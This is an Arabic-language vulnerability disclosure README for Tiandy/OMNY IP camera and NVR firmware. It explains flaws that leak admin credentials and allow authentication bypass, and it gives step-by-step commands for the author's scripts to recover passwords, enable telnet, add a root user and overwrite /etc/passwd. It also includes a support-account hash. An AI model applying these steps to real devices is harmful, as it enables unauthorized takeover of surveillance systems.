
يحتوي هذا المستودع على نتائج أبحاثي التي أجريتها في أغسطس 2020 حول البرامج الثابتة (firmware) لأجهزة Tiandy من نوع IPC/NVR. اكتشفت ثغرتين أمنيتين يمكن استخدامهما لاستعادة كلمة مرور المسؤول عن بُعد والحصول على وصول جذري (root) إلى الجهاز.
يحتوي هذا المستودع على نتائج بحثي الذي أجريته في أغسطس 2020 في البرامج الثابتة (firmware) لأجهزة IPC/NVR من Tiandy (هذه الأجهزة تُباع أيضًا تحت اسم OMNY). لم يكن هذا "البحث" شاملًا، لكنني وجدت عدة طرق لاستعادة كلمة مرور المسؤول عن بُعد، وتفعيل telnet، وتغيير كلمة مرور الجذر (root).
من الصعب تحديد الإصدارات المتأثرة بدقة، لأننا لا نستطيع تنزيل سوى الإصدارات الحديثة. جميع هذه الإصدارات القابلة للتنزيل متأثرة:
DVRS_V9.12.7.20200422
DVRS_V11.7.4.20200721
NVSS_V13.6.1.20200723
NVSS_V22.1.0.20200722
ليس فقط هناك فروع مختلفة لأجهزة مختلفة، بل إن بعض المكونات تُرقَّم وتُرقَّى بشكل منفصل، مثل واجهة برمجة تطبيقات الويب (web API)، حيث وجدت ثغرة تجاوز المصادقة (authentication bypass) تعمل فقط مع الإصدارات الصادرة منذ منتصف 2019 بغض النظر عن رقم إصدار البرنامج الثابت. إذا كنت تعرف المزيد عن الإصدارات المتأثرة، سأكون ممتنًا لمساعدتك.
أقوم هنا بكشف كامل (full disclosure)، لكنه كشف معقول. إن إصدار تصحيح من البائع (وهو أمر غير مرجح لأنهم لا يستجيبون) لن يجعل المشكلة تختفي، خاصةً عندما لا يوجد أي جهاز متصل بالإنترنت يعمل بأحدث برنامج ثابت (ولا حتى قريب من ذلك). الثغرة الفعلية هي أن هذه الأجهزة مكشوفة على الإنترنت. وهذا شيء يجب على المستخدمين النهائيين إصلاحه، ليس على Tiandy.
وكمكافأة إضافية، أضمّن أيضًا أداة فك ضغط البرنامج الثابت (firmware unpacker) وبعض المعلومات حول كيفية الوصول إلى البثوط عبر RTSP/RTMP (حظًا موفقًا في العثور على ذلك في الدليل).
أولاً أعرض النصوص البرمجية:
ثم أحاول أن أشرح بإيجاز ما تفعله هذه النصوص البرمجية ولماذا. لن أكرر الكود، لكنني أحاول تقديم سياق كافٍ حتى تتمكن من فهم الكود:
أخيرًا، هذا الجزء تقني نسبيًا:
ستحتاج إلى Python 3 مع PyCrypto.
أولاً، جرّب recover.py. يتطلب ذلك أن يكون المنفذ 3001 متاحًا:
python3 recover.py [HOST]
إذا سارت الأمور على ما يرام، فستتم طباعة بيانات اعتماد المسؤول.
إذا لم يكن هذا المنفذ متاحًا، فقد يعمل المنفذ الخاص بالويب. يتطلب ذلك عنوان URL:
python3 cgi_recover.py http://123.45.67.89
python3 cgi_recover.py https://123.45.67.89
إذا لم ينجح أي مما سبق، تحقق مما إذا كان telnet مفعّلًا. إذا كان كذلك، يمكنك الحصول على صلاحيات الجذر على الجهاز مباشرة، فقط اكسر هذا الهاش:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(تأكد من فتح Pull Request في حال نجحت فعلاً في كسره :D)
في إصدارات البرنامج الثابت القديمة V7 لأجهزة NVR، يمكنك تشغيل الأوامر مباشرة:
python3 ftpupdate.py [host] [adminpass] '[cmd]'
لكنه لا يُخرج أي شيء. لتسهيل الأمر، أضفت هذا الاختصار:
python3 ftpupdate.py [host] [adminpass] adduser [username] [password]
سيضيف هذا مستخدمًا آخر بمعرف uid 0.
أولاً، فعّل telnet باستخدام:
python3 telnet.py [host] [adminpw]
أو للأجهزة الحديثة:
python3 cgi_recover.py [host] telnet
ثم يمكنك الكتابة فوق /etc/passwd (أفترض أنك تعرف كيف يعمل هذا). جرّب filetransport.py أولاً (لأجهزة NVR):
python3 filetransport.py [host] [adminpass] put /etc/passwd <[source_file]
هذا لا يعطي أي استجابة، لذا عليك اختباره بمحاولة تسجيل الدخول...
بالنسبة لطرازات IPC حيث لا يعمل filetransport.py، جرّب upgrade_rw.py:
python3 upgrade_rw.py [url] [adminpass] /etc/passwd <[source_file]
(هذا لا يعطي أي استجابة أيضًا)
أخيرًا، بالنسبة للأجهزة الأحدث، يمكن أيضًا القيام بذلك عبر واجهة برمجة تطبيقات الويب:
python3 cgi_recover.py [url] write /etc/passwd <[source_file]
إذا لم ينجح أي مما سبق (تحقق مما إذا كان بإمكانك تسجيل الدخول)، أعد محاولة كل تلك الطرق ولكن اكتب فوق /config/etc/passwd بدلاً من ذلك. في بعض إصدارات البرنامج الثابت، يكون /etc/passwd رابطًا رمزيًا (symlink) إلى ذلك الملف. أخيرًا، يمكنك أيضًا محاولة الكتابة فوق /tdfs/etc/passwd، ولكن بعد ذلك قد يلزم إعادة تشغيل الجهاز، لذا لإعادة التشغيل استخدم:
python3 reboot.py [host] [adminpass]
يبدو أن البرنامج الثابت القديم V7 (لأجهزة IPC وNVR) غير متأثر، لكن إذا كانت لديك كلمة مرور المسؤول، فبالنسبة لأجهزة NVR توجد ثغرة تنفيذ تعليمات برمجية عن بُعد مصادق عليها (authenticated RCE) عبر (ftpupdate.py)، وبالنسبة لأجهزة IPC، يمكن استخدام النص البرمجي upgrade-rw.py للكتابة فوق /etc/passwd.
تتميز الإصدارات الأحدث من البرنامج الثابت لأجهزة NVR (V9 وV11) بحساب افتراضي، والذي يقترن مع تصعيد صلاحيات "سلبي" لإمكانية استعادة كلمة مرور المسؤول. يمكننا بعد ذلك الكتابة فوق /etc/passwd باستخدام filetransport.py.
في حين أن الحساب الافتراضي غير موجود في البرنامج الثابت لأجهزة IPC، تظهر طريقة استعادة أخرى - وهي طريقة PSW. هذه آلية لاستعادة كلمة المرور بلا أي أمان على الإطلاق. وهي موجودة في جميع إصدارات البرنامج الثابت القابلة للتنزيل منذ V9. وبينما يعمل filetransport.py على أجهزة NVR فقط، فإن upgrade_rw.py يحقق الغرض نفسه على أجهزة IPC باستخدام آلية الترقية، لذا لا يزال بإمكاننا الحصول على صلاحيات الجذر.
يقدم البرنامج الثابت لعام 2019 ناقل هجوم آخر - تجاوز المصادقة عبر واجهة برمجة تطبيقات الويب. من خلال تصدير ملف الإعدادات دون مصادقة، يمكننا استعادة كلمة المرور وتجهيز حزمة ترقية للكتابة فوق ملفات عشوائية.
بخصوص الثغرات، هناك 4 منها:
لاحظ أنني لم أتحقق من ميزات "السحابة"، أي ما إذا كان من الممكن تعداد الأجهزة وبالتالي الاتصال بأجهزة غير معرّضة للإنترنت (كما هو الحال مع أجهزة Xiongmai).
في الإصدارات القديمة، يكون telnet مفعّلًا افتراضيًا، وهذا ما يمكننا العثور عليه في ملف /etc/passwd:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(كلمة مرور الجذر تُحدَّث ديناميكيًا، كما أنني لم أكسر هذا الهاش، لذا فإن طلبات السحب (pull requests) أكثر من مرحّب بها :D)
قد يبدو مستخدم support (الموجود فعليًا في جميع إصدارات البرنامج الثابت) غير متمتع بصلاحيات، لكن بالطبع، يمتلك هذا المستخدم صلاحيات كافية لقراءة كلمة مرور Admin والكتابة فوق نصوص الإقلاع (init scripts) القابلة للكتابة للجميع في /etc/init.d أو حتى إنشاء نصوص جديدة :)
من الناحية المفاهيمية، الطريقة بسيطة حقًا. نحتاج فقط إلى إرسال حزمة تسجيل الدخول وقراءة الاستجابة. هذا كل شيء، لأن استجابة "نجح تسجيل الدخول" تحتوي على بيانات اعتماد جميع المستخدمين، بغض النظر عن صلاحياتنا. ورغم أن الأمر كان كذلك في V7 أيضًا، إلا أن هذه الطريقة أصبحت مفيدة عمليًا فقط عند إدخال الحساب الافتراضي في البرنامج الثابت لأجهزة NVR. حساب "Default" الذي لا يمكن إزالته لا يملك صلاحيات عن بُعد، لذا لا يمكنك فعل أي شيء به. حسنًا، ربما باستثناء قراءة كلمة مرور المسؤول...
رغم أن هذا يبدو بسيطًا، إلا أن تنفيذه لم يكن بتلك البساطة. يُستخدم بروتوكول مخصص للتواصل، وتُشفَّر كلمات المرور باستخدام DES ولكن مع عكس البتات (كان الجزء الأصعب هو اكتشاف ذلك)، مع مفتاح يرسله الخادم. وبما أنه لا يوجد اشتقاق للمفتاح، يمكن لأي متنصت فك تشفير كل شيء بسهولة. ومع ذلك، لا يزال يتعين على المرء أن يكتشف أن البتات معكوسة، أو يعيد تنفيذ الأمر بالكامل من الصفر...
انظر إلى الدالة recover_with_default في ملف recover.py للاطلاع على التنفيذ.
عند تحليل الملف الثنائي، يصعب عدم ملاحظة هذه الآلية. الغرض منها بالكامل هو... جعل استعادة كلمة المرور ممكنة، وهي بالفعل تؤدي هذا الأمر جيدًا. بل أقول إنها تؤديه جيدًا أكثر مما ينبغي...
ما الذي يحدث هنا؟ أعتقد أن الهدف منها كان أن تكون آلية لاستعادة كلمة المرور، أُنشئت على الأرجح ليتمكن البائعون من توفير طريقة لمالكي الأجهزة لاستعادة كلمات المرور الخاصة بهم.